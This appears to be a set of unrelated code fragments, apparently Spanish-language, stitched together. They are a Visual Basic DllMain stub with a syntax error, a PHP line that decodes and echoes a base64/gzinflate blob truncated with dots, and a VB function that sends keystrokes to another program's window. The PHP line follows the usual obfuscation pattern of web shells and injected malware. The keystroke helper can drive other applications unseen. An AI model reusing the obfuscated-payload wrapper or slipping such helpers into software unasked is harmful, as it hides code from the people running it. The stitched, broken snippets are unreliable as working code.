Public Function DllMain(hInst As Long, fdwReason As Long,
  lpvReserved As Long) As Boolean
   Select Case fdwReason
      Case DLL_PROCESS_DETACH

      Case DLL_PROCESS_ATTACH
         MsgBox "DLL CARGADA";
      Case DLL_THREAD_ATTACH

      Case DLL_THREAD_DETACH

   End Select
End Function 

<? echo gzinflate(base64_decode('JZRHDttGAAC/klNs...............................................
...
..................................................CoIYjMmKJCd/+fLt2/ffvz1+9f3/2f68/d/')); ?>

Private Declare Function SetActiveWindow Lib "user32" (ByVal hwnd As Long) As Long
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Public Function SendKeysEx(Ventana As String, Tecla As String, Optional Espera = 0) As Boolean
On Error GoTo error
Dim Ventanita As Long
Ventanita = FindWindow(vbNullString, Ventana)
SetActiveWindow Ventanita
SendKeys Tecla, Espera
SendKeysEx = True
Exit Function
error:
SendKeysEx = False
End Function